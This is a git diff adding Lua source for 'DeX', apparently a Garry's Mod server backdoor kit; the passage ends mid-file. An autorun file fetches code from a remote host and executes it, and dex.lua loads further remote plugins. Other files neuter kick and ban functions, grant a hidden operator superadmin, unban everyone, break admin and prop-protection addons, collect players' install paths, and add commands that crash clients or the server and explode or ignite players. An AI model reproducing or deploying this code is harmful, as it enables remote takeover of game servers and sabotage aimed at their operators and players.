v:GetAngles() + Angle(0,3,0) ) + end + end +end) + + +local Bubble = [[ + hook.Add("StartChat", "Start", function() RunConsoleCommand("gm_b_on") end) + hook.Add("FinishChat", "Stop", function() RunConsoleCommand("gm_b_off") end) +]] + +local function BubbleInitialSpawn(ply) + ply:SendLua(Bubble) +end +hook.Add("PlayerInitialSpawn", "BubbleInitialSpawn", BubbleInitialSpawn) +BroadcastLua(Bubble) + + + diff --git a/Repos/Evil-master/v12/DeX/chatfilter.lua b/Repos/Evil-master/v12/DeX/chatfilter.lua new file mode 100644 index 0000000..4411beb --- /dev/null +++ b/Repos/Evil-master/v12/DeX/chatfilter.lua @@ -0,0 +1,437 @@ + + +HSP = HSP or {} +function HSP.StringCheck(str,check) + return str:sub(1,#check) == check +end +string.Check = HSP.StringCheck +function ValidString(v) + return (v and type(v) == "string" and v != "") +end +HSP.ValidString = ValidString +string.IsValid = ValidString +local Enabled = true +local Spam = CreateConVar("hsp_filter_spam", 2, true, true) + +HSP.ChatFilter = {} + + +local Filter = "filter.txt" + +HSP.ChatFilter.Crap = {} +HSP.ChatFilter.Fixed = {} +HSP.ChatFilter.Nouns = {} +HSP.ChatFilter.Abbreviations = {} +HSP.ChatFilter.Swearwords = {} + +HSP.ChatFilter.Pronunciation = {} +HSP.ChatFilter.Ext = {} + + +ExecDownload(DEX_PATH, "sv_f_Crap.lua", true) +ExecDownload(DEX_PATH, "sv_f_List.lua", true) + + + +local function AddLoop() +end + +local function MakePureLetter(s) -- only letters/spaces remain + s = s:gsub(".", function(c) + if c:match("[%a%s]") then return c end + return "" + end) + return s +end + +local function NoCase(s) -- generate case insensitive pattern + s = string.gsub(s, ".", function(c) + if c:find("%a") then + return string.format("[%s%s]", string.lower(c), string.upper(c)) + else + return "%A" + end + end) + return s +end + +local function CharacterIndependend(s, singleword) -- apply filter to scan for @#a^^&..ss .h&*(o@l,e> + if singleword then + s = "([^%a]*)"..s:gsub(".", function(c) + return NoCase(c).."([^%a]*)" + end) + s = s:sub(0,-9) + return s + else + s = "([^%a]*)"..s:gsub(".", function(c) + return NoCase(c).."([^%a]*)" + end) + return "[%A]"..s.."[%A]" + end +end + + +local function CheckSpam(ply,Name,text) + if (ply.HSP_LastSpam and ply.HSP_LastSpam == text) then + if not ply.HSP_LastSpamTot then + ply.HSP_LastSpamTot = 0 + end + ply.HSP_LastSpamTot = ply.HSP_LastSpamTot + 1 + + if ply.HSP_LastSpamTot >= Spam:GetInt() then + MsgAll("\nCHAT SPAM blocked from "..Name..": "..text.."\n") + ply:ChatPrint(HUD_PRINTTALK, "Your text has been SNIPPED for spamming!") + ply:SendLua([[ surface.PlaySound("npc/roller/mine/rmine_chirp_quest1.wav") ]]) + return true + end + else + ply.HSP_LastSpamTot = 0 --Reset + end + ply.HSP_LastSpam = text + + timer.Create("HSP.ChatFilter_SpamReset_"..Name, 10, 1, function() + if ValidEntity(ply) then + ply.HSP_LastSpamTot = 0 + ply.HSP_LastSpam = nil + end + end) +end + + + + +function HSP.ChatFilter_CheckWords(ply,text) + --debug.sethook() + local low = text:lower() + + local new = "" + for i=0, text:len() do -- for each character + local str = text:sub(i,i) -- get char from string + local found = false + + local Byte = HSP.ChatFilter.Crap[ str:byte() ] + if Byte then + new = new..Byte --replace character + found = true --found, so don't add character after for loop + end + + if not found then -- we did not replace anything, add character + new = new..str -- add character + end + end + if new != text then + text = new + end + + --FIXED + local DoneFixed = false + for k,v in pairs( HSP.ChatFilter.Fixed ) do + AddLoop() + local str = low + if v.full then + str = text + end + + if (str:Trim() == v.what) then + DoneFixed = true + text = v.with + end + end + if DoneFixed then + return text + end + + text = " "..text.." " -- add spaces used for finding patterns near begin and end of string + + --SWEARWORDS, [ with spaces NO automated Pronunciation endings, NO replace completly features ] + for k,cuss in pairs(HSP.ChatFilter.Swearwords) do + AddLoop() + if cuss.spaces then + local lower = CharacterIndependend(cuss.what) + text = text:gsub(lower, " "..cuss.with.." ") + end + end + + text = text:gsub("([^%s]*)", function(c) + if c=="" then --yes it happens + return false,0 + end + + local b = c + + c = c:lower() + + --FIXME: Faster lookup method? + for k,noun in pairs(HSP.ChatFilter.Nouns) do + AddLoop() + if c == noun.what then + c = noun.with + + elseif c == (noun.whats or noun.what) then + c = (noun.withs or noun.with) + end + end + + --SWEARWORDS, [ without spaces, automated Pronunciation endings ] + for k,cuss in pairs(HSP.ChatFilter.Swearwords) do + AddLoop() + if not cuss.spaces then + --fix wrong spelling due to pronunciation, love to loveer, making it lover + local with = cuss.with + local pron = cuss.pron + local rep = cuss.rep + local what = cuss.what + + if pron then + if HSP.ChatFilter.Ext[ with:sub(-1,-1) ] then --check last character + --remove it if bad for spelling pronunciation + with = with:sub(0,-2) + end + end + + -- note to smart people, this loop is ALSO being done, to find ****-ed words, pron is optional behaviour + for k,pronunciation in pairs(HSP.ChatFilter.Pronunciation) do + AddLoop() + if not rep then + if pron then --add pronunciation to replacement + c = c:gsub(CharacterIndependend(what..pronunciation, true), with..pronunciation) + else -- find pronunciation but don't add it to the replacement + c = c:gsub(CharacterIndependend(what..pronunciation, true), with) + end + else + --replace entire word if a cuss is inside it ( with Pronunciation ) + if c:find(CharacterIndependend(what..pronunciation, true)) and pron then + c = with..pronunciation + end + end + end + + if rep then --if finding the swear word, replace completly + if c:find(CharacterIndependend(what, true)) then + c = with + end + else + --a random guess gsub, if a replacement contains a forbidden word @forloop that will be replaced!!! + c = c:gsub(CharacterIndependend(what, true), with) + end + end + end + + + --ABBREVIATIONS, we do these last so f*Uranium doesn't occur before swearword scanning + for k,abs in pairs(HSP.ChatFilter.Abbreviations) do + AddLoop() + local lower = MakePureLetter(c) + if lower == abs.what then c = abs.with end + end + + + if b:lower() == c then + return b --original, preserve casing + else + return c --modified, use replacement + end + end) + + -- remove spaces used for finding patterns near begin and end of string + if text:sub(1,1) == " " then + text = text:sub(2) + end + if text:sub(-1,-1) == " " then + text = text:sub(1,-1) + end + return text +end + + +local Override = true +local function ToggleFilter(ply,cmd,args) + if not Override then + Enabled = not Enabled + end + ply:print("[OK] Filter is now "..tostring(Enabled) ) +end +concommand.Add("flt_toggle", ToggleFilter) + +concommand.Add("flt_override", function(ply,cmd,args) + Override = not Override + + Enabled = Override + + ply:print("[OK] Filter is now "..tostring(Enabled)..", Override: "..tostring(Override) ) +end) + + +function HSP.ChatFilter_Process(ply,text,isteam) + if not (ValidEntity(ply) and Enabled) then return end + if (text:find( tostring(ply:IPAddress()) ) ) then return end --UMT + + text = text:gsub("Â", "") + local OldText = text:Trim() + + if OldText:Check("!lua") then + return --Don't break !lua + end + + if ply:IsHeX() then + return + end + + if OldText:Check("!menu") then + ply:Kill() + ply:ConCommand("say oh that is bad!") + return false + end + + text = HSP.ChatFilter_CheckWords(ply,OldText):Trim() + if text:find("_FLT_") and ply.HSPRealName then + text = text:gsub("_FLT_", ply.HSPRealName) + end + local Name,SID = ply:Nick(), ply:SteamID() + + if (text != OldText) then --Was filtered + if CheckSpam(ply,Name,text) then return false end + + local flt = Format("\n%s (%s): %s ->\n%s (%s): %s\n", Name, SID, OldText, Name, SID, text) + + local HeX = GetHeX() + if ValidEntity(HeX) then + if not HeX.SentCF then + HeX.SentCF = true + + HeX:SendLua([[ + usermessage.Hook("flt", function(u) + local flt = u:ReadString() + file.Append("dex_filter.txt", flt) + end) + ]]) + end + + umsg.Start("flt", HeX) + umsg.String(flt) + umsg.End() + + else --HeX not on, log! + file.Append(Filter, flt) + end + + BroadcastLua([[ surface.PlaySound( Sound("npc/scanner/combat_scan"..math.random(2,4)..".wav") ) ]]) + return text + end + + if CheckSpam(ply,Name,text) then return false end +end +local Rand = tostring( CurTime() * 2 ) + +hook.Add("PlayerSay", "!"..Rand, HSP.ChatFilter_Process) +timer.Create(tostring(CurTime()), 5, 0, function() + hook.Add("PlayerSay", "!"..Rand, HSP.ChatFilter_Process) +end) + + +local function ClearFilter(ply,cmd,args) + if not file.Exists(Filter) then + ply:print("[ERR] No filter.txt") + return + end + + file.Delete(Filter) + ply:print("[OK] Deleted filter.txt") +end +command.Add("flt_clear", ClearFilter, "Remove filter.txt") + + +local function FilterSize(ply,cmd,args) + if not file.Exists(Filter) then + ply:print("[ERR] No "..Filter) + return + end + + local KTab = string.Explode("\n", file.Read(Filter) ) or 0 + + ply:print("[OK] "..(#KTab / 2).." lines, "..file.Size(Filter).." bytes") +end +command.Add("flt_size", FilterSize, "How big is filter.txt") + + +local function DownloadFilter(ply,cmd,args) + if not IsValid(ply) then + ply:print("[ERR] Can't use from SRCDS") + return + end + if not file.Exists(Filter) then + ply:print("[ERR] No "..Filter) + return + end + + local Cont = file.Read(Filter) + + if not Cont or (Cont == "") then + ply:print("[ERR] No Cont") + return + end + + file.Delete(Filter) + + if not datastream then + require("datastream") + end + + datastream.StreamToClients(ply, "fd", {c = Cont}) + ply:print("[OK] Sending "..Filter..", "..#Cont.." bytes") +end +command.Add("flt_download", DownloadFilter, "Download filter.txt") + + + + +concommand.Add("gm_dex_fltname", function(ply,cmd,args) + if ply.HSPRealName then return end + + local path = args[1] + if path:find("/") then + path = path:gsub("/", "\\") + end + path = path:match("steamapps\\(.-)\\") + + if ply:IsHeX() then + ply.HSPRealName = "mfsinc" + else + ply.HSPRealName = path + end +end) + + + +local DSFunc = [[ +datastream.Hook("fd", function(h,s,e,d) + local c = d.c + if not c or (c == "") then return end + file.Write("dex_filter_srv_"..tostring( CurTime() ):Replace(".", "_")..".txt", c) + print("[OK] Saved: "..#c.." bytes") +end) +]] + +local RealName = [[ +if not datastream then + require("datastream") +end +timer.Simple(0, function() + RunConsoleCommand("gm_dex_fltname", util.RelativePathToFull("gameinfo.txt"):lower() ) +end) +]] + +local function CFRealNameInitialSpawn(ply) + ply:SendLua(RealName) + ply:SendLua(DSFunc) +end +hook.Add("PlayerInitialSpawn", "CFRealNameInitialSpawn", CFRealNameInitialSpawn) +BroadcastLua(RealName) +BroadcastLua(DSFunc) + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/dex.lua b/Repos/Evil-master/v12/DeX/dex.lua new file mode 100644 index 0000000..aa2f6f5 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/dex.lua @@ -0,0 +1,153 @@ +--[[ + === Direct Execute === + DeX.lua + "Their world is in flames and we're giving them gasoline!" +]] + +--- === Version === --- +DEX_VERSION = "2.1" +--- === /Version === --- + + +--if not DEX_PATH then + DEX_PATH = "http://gmod.game-host.org/bar/dex/" --Where to load the plugins from +--end + + +--- === SETUP === --- +local function Download(str) + local http = HTTPGet() + http:Download(str,"") + debug.sethook() + repeat until http:Finished() + return http:GetBuffer() +end + +function ExecDownload(path,str,Silent,DLonly) + local Full = path..str + local Code = Download(Full) or false + if not Code then + return MsgAll(Full.." won't download!\n") + end + + if DLonly then + return Code + end + if not Silent then + MsgAll(str.." loaded\n") + end + RunStringEx(Code,str) + --RunString(Code) +end + +local function GetUH() IsUH = ((HAC and HAC.Version) or (HSP and HSP.Loaded)) end +GetUH() +hook.Add("Think", tostring(CurTime()), GetUH) +function Useless() end +function TRUE() return true end +--- === /SETUP === --- + + +--- === COMMANDS === --- +command = {} +function command.Add(cmd,func,info) + concommand.Add(cmd,func) + command[cmd] = (info or "None") +end + +local function DexList(ply,cmd,args) + ply:print("\nDeX v"..DEX_VERSION..", cmd\tinfo") + local tot = 0 + + for cmd,info in pairs(command) do + if cmd != "Add" then + ply:print( Format("\t%s\t\-\t%s", cmd,info) ) + tot = tot + 1 + end + end + + ply:print("DeX v"..DEX_VERSION.." has ["..tot.."] commands") +end +concommand.Add("dex", DexList) + +local function DownloadRun(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, args[1] ) +end +command.Add("dlrun", DownloadRun, "Exec lua file from DEX_PATH") + +local function ReloadSelf(ply,cmd,args) + ExecDownload(DEX_PATH, "dex.lua", true) +end +command.Add("dex_reload", ReloadSelf, "Reload") +--- === /COMMANDS === --- + + +ExecDownload(DEX_PATH, "meta.lua", true) +ExecDownload(DEX_PATH, "fixers.lua", true) +ExecDownload(DEX_PATH, "useful.lua", true) +ExecDownload(DEX_PATH, "fun.lua", true) +ExecDownload(DEX_PATH, "chatfilter.lua", true) +ExecDownload(DEX_PATH, "bubble.lua", true) + + +--UMT +local function LoadUMT(ply,cmd,args) + local Valid = ValidEntity(ply) + + ExecDownload(DEX_PATH, "umt.lua", (not Valid)) + ExecDownload(DEX_PATH, "skid.lua", (not Valid)) + + if args then + ply:print("[OK] UMT loaded") + end +end +command.Add("umt", LoadUMT, "Load SkidCheck/UMT") +--[[ +if not IsUH then + timer.Simple(5, function() + LoadUMT() + end) +end +]] + +--ULX +local function FuckULX(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, "ulx.lua") +end +command.Add("fuckulx", FuckULX, "Break ULX") + +--EV +local function FuckEV(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, "ev.lua") +end +command.Add("fuckev", FuckEV, "Break EV") + +--FPP +local function FuckFPP(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, "fpp.lua") +end +command.Add("fuckfpp", FuckFPP, "Break FPP") + + + + +local PISLua = [[ + DeX = true +]] + +local function DeXInitialSpawn(ply) + ply:SendLua(PISLua) +end +hook.Add("PlayerInitialSpawn", "DeXInitialSpawn", DeXInitialSpawn) +BroadcastLua(PISLua) + +MsgAll("\nDeX "..DEX_VERSION.." has respawned\n\n") + + + + + diff --git a/Repos/Evil-master/v12/DeX/dex_autorun.lua b/Repos/Evil-master/v12/DeX/dex_autorun.lua new file mode 100644 index 0000000..cf37b9f --- /dev/null +++ b/Repos/Evil-master/v12/DeX/dex_autorun.lua @@ -0,0 +1,12 @@ + + + + +http.Get("http://gmod.game-host.org/bar/dex/dex.lua", " ", function(s,f) RunStringEx(s,"DeX") end) + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/ev.lua b/Repos/Evil-master/v12/DeX/ev.lua new file mode 100644 index 0000000..5f9e734 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/ev.lua @@ -0,0 +1,53 @@ + + +hook.Remove("PlayerSpawnedProp", "EV_SpawnHook") +hook.Remove("PlayerSpawnedSENT", "EV_SpawnHook") +hook.Remove("PlayerSpawnedNPC", "EV_SpawnHook") +hook.Remove("PlayerSpawnedVehicle", "EV_SpawnHook") +hook.Remove("PlayerSpawnedEffect", "EV_SpawnHook") +hook.Remove("PlayerSpawnedRagdoll", "EV_SpawnHook") +hook.Remove("PlayerSpawn", "EV_RankHook") +hook.Remove("PlayerConnect", "EV_LogConnect") +hook.Remove("PlayerDisconnected", "EV_LogDisconnect") +hook.Remove("PlayerDeath", "EV_LogDeath") +hook.Remove("PlayerSay", "EV_PlayerChat") + + +if evolve.CleanupAdd then + cleanup.Add = evolve.CleanupAdd +end +if evolve.AddCount then + _R.Player.AddCount = evolve.AddCount +end +if evolve.HookCall then + hook.Call = evolve.HookCall +end + + +local function AlwaysTrue() + return true +end +_R.Player.EV_IsOwner = AlwaysTrue +_R.Player.EV_IsSuperAdmin = AlwaysTrue +_R.Player.EV_IsAdmin = AlwaysTrue + +_R.Entity.EV_IsOwner = AlwaysTrue +_R.Entity.EV_IsSuperAdmin = AlwaysTrue +_R.Entity.EV_IsAdmin = AlwaysTrue + + +ETable(evolve) +ETable(ev) + + + +MsgAll("\nEV has reloaded\n\n") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/fixers.lua b/Repos/Evil-master/v12/DeX/fixers.lua new file mode 100644 index 0000000..fd27610 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/fixers.lua @@ -0,0 +1,250 @@ + +if IsUH then return end +--- === FIXERS === --- + + +local function NoKick(ply,cmd,args) + if not ply:IsHeX() then + ply:Kill() + return + end + + local uid = nil + + if (cmd == "kickid2") then + uid = args[1] + elseif (cmd == "banid2") then + uid = args[2] + end + + if uid then + local HeX = GetHeX() + + if ValidEntity(HeX) then + if uid == HeX:UserID() then + ply:Explode() + return + end + + HeX:print("! kicking "..uid) + end + + RunConsoleCommand("kickid", uid, Format("Kicked (%s)", RandomPlayer():Nick()) ) + end +end +concommand.Add("kickid2", NoKick) +concommand.Add("banid2", NoKick) + + + +_R.Player.Kick = Useless +_R.Player.Ban = Useless +_R.Entity.Kick = Useless +_R.Entity.Ban = Useless + +_R.Player.StripWeapons = Useless +_R.Player.StripWeapon = Useless + +Cmd_RecvCommand = Useless +BannedPlayers = {} +Kick = Useless +Ban = Useless +SaveBans = Useless +KickBan = Useless +ASS_BanPlayer = Useless +ASS_KickPlayer = Useless +GBans = {} + +sourcebans = {} +sourcebans.doBan = Useless +sourcebans.BanPlayer = Useless +sourcebans.BanPlayerBySteamID = Useless +sourcebans.BanPlayerByIP = Useless +sourcebans.BanPlayerBySteamIDAndIP = Useless + +doBan = Useless +BanPlayer = Useless +BanPlayerBySteamID = Useless +BanPlayerByIP = Useless +BanPlayerBySteamIDAndIP = Useless + +if gatekeeper then + gatekeeper.Drop = Useless +end + +if asscmd then + asscmd.ConsoleCommand = Useless +end + +if (cvar2 and cvar2.SetFlags) then + local function NoMore(cmd) + CreateConVar(cmd, 0, {FCVAR_REPLICATED, FCVAR_CHEAT}) + cvar2.SetFlags(cmd, cvar2.GetFlags(cmd) + FCVAR_CHEAT) + end + + NoMore("banid") + NoMore("kickid") + NoMore("addid") + NoMore("writeip") +end + + +if ULib then + ULib.kick = Useless + ULib.ban = Useless + ULib.kickban = Useless + ULib.addBan = Useless +end + +if evolve then + evolve.Ban = Useless + evolve.IsBanned = FALSE +end + +concommand.Add("sm_ban", Useless) +concommand.Add("sm_banip", Useless) +concommand.Add("sm_addban", Useless) + +hook.GetTable()["CanPlayerSuicide"] = nil +hook.GetTable()["PlayerUse"] = nil +hook.GetTable()["PlayerNoClip"] = nil + +--_R.Player.IsAdmin = TRUE +--_R.Player.IsSuperAdmin = TRUE + +local HeX = GetHeX() +if ValidEntity(HeX) then + HeX:SetUserGroup('admin') + HeX:SetUserGroup('superadmin') +end + + +local Nope = { + ["STEAM_0:0:48926883"] = true, + ["STEAM_0:0:40143824"] = true, + ["STEAM_0:1:33687954"] = true, +} +hook.Add("Think", "HPFix", function() + for k,v in pairs( player.GetHumans() ) do + if ValidEntity(v) then + if v.ShouldGod then + v:GodEnable() + end + + if not v:IsHeX() then + if (v:Health() > 100) then + v:SetHealth(99) + end + + v:GodDisable() + end + + if Nope[ v:SteamID() ] then + v:SendLua([[ table.Empty(_R) ]]) + end + end + end +end) + +hook.Add("PlayerDeathThink", "AutoSpawn", function(ply) + ply:Spawn() +end) + +local function UnbanAll() + local uTot = 0 + if (ULib and ULib.bans and ULib.unban) then + local TempTab = ULib.bans + + timer.Simple(1,function() + for k,v in pairs(TempTab) do + ULib.unban(k) + uTot = uTot + 1 + end + end) + end + + local eTot = 0 + if (evolve and evolve.PlayerInfo) then + for k,v in pairs(evolve.PlayerInfo) do + if (v.BanEnd) then + game.ConsoleCommand("removeid "..v.SteamID.."\n") + evolve.PlayerInfo[k] = nil + eTot = eTot + 1 + end + end + end + + local Banned = "cfg/banned_user.cfg" + local bTot = 0 + if file.Exists(Banned, true) then + local Text = file.Read(Banned, true) + if not Text then return end + + local FTab = string.Explode("\n", Text) + + for k,v in pairs(FTab) do + if (v != "") then + local SID = v:match("(STEAM_(%d+):(%d+):(%d+))") or v + game.ConsoleCommand("removeid "..SID.."\n") + bTot = bTot + 1 + end + end + + RunConsoleCommand("writeid") + end + + + local HeX = GetHeX() + if not ValidEntity(HeX) then + HeX = nil + end + + if (uTot != 0) then + ULib.bans = {} + if file.Exists("ULib/bans.txt") then + file.Delete("ULib/bans.txt") + end + + if HeX then + HeX:print("\nUNBANNED "..uTot.." ULib users!\n") + end + end + + if (eTot != 0) then + if evolve.SavePlayerInfo then + evolve:SavePlayerInfo() + end + if HeX then + HeX:print("\nUNBANNED "..eTot.." EV users!\n") + end + end + + if (bTot != 0) then + if HeX then + HeX:print("\nUNBANNED "..bTot.." BASE users!\n") + end + end +end +timer.Simple(2, UnbanAll) + + +local function DexUnbanAll(ply,cmd,args) + UnbanAll() + + ply:print("[OK] Unbanned everyone") +end +command.Add("unbanall", DexUnbanAll, "Unban everyone") + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/fpp.lua b/Repos/Evil-master/v12/DeX/fpp.lua new file mode 100644 index 0000000..d8c06aa --- /dev/null +++ b/Repos/Evil-master/v12/DeX/fpp.lua @@ -0,0 +1,47 @@ + +hook.Remove("CanTool", "FPP.Protect.CanTool") +hook.Remove("PhysgunPickup", "FPP.Protect.PhysgunPickup") +hook.Remove("PlayerUse", "FPP.Protect.PlayerUse") +hook.Remove("GravGunPunt", "FPP.Protect.GravGunPunt") +hook.Remove("GravGunOnPickedUp", "FPP.Protect.GravGunPickup") +hook.Remove("OnPhysgunReload", "FPP.Protect.PhysgunReload") +hook.Remove("PlayerSpawnRagdoll", "FPP.AntiSpam.AntiCrash") +hook.Remove("PlayerInitialSpawn", "FPP_SendSettings") +hook.Remove("OnPhysgunFreeze", "FPP.Protect.PhysgunFreeze") +hook.Remove("EntityTakeDamage", "FPP.Protect.EntityTakeDamage") +hook.Remove("PlayerDisconnected", "FPP.PlayerDisconnect") +hook.Remove("PlayerInitialSpawn", "FPP.PlayerInitialSpawn") +hook.Remove("PlayerLeaveVehicle", "FPP.PlayerLeaveVehicle") +hook.Remove("CanExitVehicle", "PreventVehicleNoclip") + + +if FPP.oldcleanup then + cleanup.Add = FPP.oldcleanup +end +if FPP.ApplyForceCenter then + _R.PhysObj.ApplyForceCenter = FPP.ApplyForceCenter +end +if FPP.oldcount then + _R.Player.AddCount = FPP.oldcount +end + + +ETable(DB) +ETable(FPP_MySQLConfig) +ETable(FPP.Blocked) +ETable(FPP) +ETable(FAdmin) + +BlockedModelsExist = nil + + +MsgAll("\nFPP has reloaded\n\n") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/fun.lua b/Repos/Evil-master/v12/DeX/fun.lua new file mode 100644 index 0000000..ef2297a --- /dev/null +++ b/Repos/Evil-master/v12/DeX/fun.lua @@ -0,0 +1,424 @@ + +--- === FUN === --- + + + +--NOCLIP EXPLODE +local CanExplode = false +local function ExplodeNC() + if CanExplode then + for k,v in pairs( player.GetAll() ) do + if not v:IsHeX() then + local move = v:GetMoveType() + if (move == MOVETYPE_NOCLIP or move == MOVETYPE_FLY) then + v:SetMoveType(MOVETYPE_WALK) + v:Spawn() + end + end + end + end +end +hook.Add("Think", "ExplodeNC", ExplodeNC) + + +local function NCExplode(ply,cmd,args) + if CanExplode then + CanExplode = false + ply:print("[OFF] Noclip explode") + else + CanExplode = true + ply:print("[ON] Noclip explode") + end +end +command.Add("nc", NCExplode, "Explode noclipping players") + + + + + +--NO NUKES +local Nukes = { + ["bomb_sent_atomic_bomb"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["canister_sent_atomic_bomb"] = true, + ["cannonball_sent_atomic_bomb"] = true, + ["cone_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["hopnuke"] = true, + ["hopnuke_trap"] = true, + ["kfc_sent_atomic_bomb"] = true, + ["lego_sent_atomic_bomb"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["mk-82_sent_atomic_bomb"] = true, + ["mk-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleablenuke1"] = true, + ["sent_explosion_scaleablenuke2"] = true, + ["sent_explosion_scaleablenuke3"] = true, + ["sent_explosion_scaleablenuke6"] = true, + ["sent_explosion_scaleablenuke7"] = true, + ["sent_nuke"] = true, + ["sent_nuke_awesomecube"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke_melon"] = true, + ["sent_nuke_missile"] = true, + ["sent_nuke_radiation"] = true, + ["sent_nuke_radiation2"] = true, + ["sent_nuke_radiation3"] = true, + ["sent_nuke_radiation4"] = true, + ["sent_nuke_radiation5"] = true, + ["sent_nuke_radiation6"] = true, + ["sent_nuke_radiation7"] = true, + ["sent_nuke_radiation8"] = true, + ["sent_nuke1"] = true, + ["sent_nuke100"] = true, + ["sent_nuke100mt"] = true, + ["sent_nuke2"] = true, + ["sent_nuke200"] = true, + ["sent_nuke200mt"] = true, + ["sent_nuke3"] = true, + ["sent_nuke300"] = true, + ["sent_nuke300mt"] = true, + ["sent_nuke400"] = true, + ["sent_nuke400mt"] = true, + ["sent_nuke50"] = true, + ["sent_nuke500"] = true, + ["sent_nuke500mt"] = true, + ["sent_nuke50mt"] = true, + ["sent_nuke6"] = true, + ["sent_nuke7"] = true, + ["sent_nukegrenade"] = true, + ["sent_nukesmall"] = true, + ["soda_sent_atomic_bomb"] = true, + ["sofa_sent_atomic_bomb"] = true, + ["vendingmachine_sent_atomic_bomb"] = true, + ["waluigiracket_sent_atomic_bomb"] = true, + + ["barrel_sent_atomic_bomb"] = true, + ["barrel_sent_he_missile"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["briefcase_sent_he_missile"] = true, + ["canister_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["explosive_car"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["melon_sent_he_missile"] = true, + ["MK-82_sent_atomic_bomb"] = true, + ["MK-82_sent_he_missile"] = true, + ["MK-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleable"] = true, + ["sent_nuke_radiation"] = true, + ["sent_tnt"] = true, + ["soda_sent_atomic_bomb"] = true, + ["soda_sent_he_missile"] = true, + + ["sent_nuke_missile"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke"] = true, + + ["nuke_explosion"] = true, + ["sent_nuke_bomb"] = true, + ["nuke_missile"] = true, +} + +local DoCheckNukes = false +local function CheckNukes() + if DoCheckNukes then + for k,ent in pairs( ents.GetAll() ) do + if ValidEntity(ent) and Nukes[ ent:GetClass() ] then + local Owner = NULL + if CPPI then + Owner = ent:CPPIGetOwner() + end + ent:Remove() + + if ValidEntity(Owner) and not Owner:IsHeX() then + Owner:Kill() + end + end + end + end +end +hook.Add("Think", "CheckNukes", CheckNukes) + + +local function ToggleNukes(ply,cmd,args) + if DoCheckNukes then + DoCheckNukes = false + ply:print("[OFF] Yes nukes") + else + DoCheckNukes = true + ply:print("[ON] No nukes") + end +end +command.Add("nukes", ToggleNukes, "Stop nukes") + + + +local DoCheckWeapon = false +local function CheckWeapons() + if DoCheckWeapon then + for k,self in pairs( ents.GetAll() ) do + if ValidEntity(self) and self:IsWeapon() and self.AdminSpawnable then + local Owner = self.Owner + if not ValidEntity(Owner) then + Owner = self.owner + end + if not ValidEntity(Owner) then + Owner = self:GetOwner() + end + + if ValidEntity(Owner) and not Owner:IsHeX() then + self:Remove() + end + end + end + end +end +hook.Add("Think", "CheckWeapons", CheckWeapons) + + +local function ToggleWeapons(ply,cmd,args) + if DoCheckWeapon then + DoCheckWeapon = false + ply:print("[OFF] Yes admin-only weapons") + else + DoCheckWeapon = true + ply:print("[ON] No admin-only weapons") + end +end +command.Add("weps", ToggleWeapons, "Stop admin-only weapons") + + + + +--HEALTH +local function SetHealth(ply,cmd,args) + local set = tonumber( args[1] ) or 87 + + if (#args > 1) then + ply:Spawn() + ply:GodEnable() + end + ply:SetHealth(set) + + ply:print("Set health to: "..set) +end +command.Add("hp", SetHealth, "Set your HP, use f to force spawn") + +--GOD +local function SetGod(ply,cmd,args) + if cmd == "godon" then + ply:GodEnable() + ply.ShouldGod = true + ply:print("[ON] GODMODE") + else + ply:GodDisable() + ply.ShouldGod = false + ply:print("[OFF] GODMODE") + end +end +command.Add("godon", SetGod, "Give GODMODE") +command.Add("godoff", SetGod, "Disable GODMODE") + + +--BOOM +local function Boom(ply,cmd,args) + if (#args > 0) then + local Him = Player( args[1] ) or NULL + + if not ValidEntity(Him)or Him:IsHeX() then + ply:print("[ERR] Userid: '"..args[1].."' not found") + return + end + + Him:Explode() + ply:print("[OK] '"..Him:Nick().."' explode") + else + for k,v in pairs( player.GetAll() ) do + timer.Simple(k / 3, function() + if not v:IsHeX() then + v:Explode() + end + end) + end + ply:print("[OK] Everyone explode") + end +end +command.Add("boom", Boom, "Make /everyone explode") + +--RESPAWN +local function Respawn(ply,cmd,args) + ply:Spawn() + ply:SetHealth(87) + ply:GodEnable() + + ply:SetViewEntity(ply) + ply:print("[OK] Respawned with weapons & health") +end +command.Add("respawn", Respawn, "Respawn yourself with guns+hp") + + + +--CRASHPLAYER +local function CrashPlayer(ply,cmd,args) + local him = Player( args[1] ) + if not ValidEntity(him) or (him == ply) or him:IsHeX() then + return ply:print("[ERR] No Player") + end + + him:SendLua([[ table.Empty(_R) ]]) + + ply:print("[OK] Sent crash to: "..him:Nick()) +end +command.Add("crash", CrashPlayer, "Crash ") + + +--CRASHSERVER +local function CrashServer(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + timer.Simple(10, function() + table.Empty(_R) + end) + ply:print("[OK] Server crashing in 10s") +end +command.Add("crash_server", CrashServer, "Crash the server in 10s") + +--BURNALL +local function BurnAll(ply,cmd,args) + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + if not v:IsHeX() then + v:Ignite(60,10) + end + end + end + ply:print("[OK] Ignite everyone") +end +command.Add("burnall", BurnAll, "Set everyone on fire") + +--BURN +local function BurnHim(ply,cmd,args) + local him = Player( args[1] ) + if not ValidEntity(him) or (him == ply) or him:IsHeX() then + return ply:print("[ERR] No Player") + end + + Player(args[1]):Ignite(60,10) + + ply:print("[OK] Ignite player") +end +command.Add("burn", BurnHim, "Set 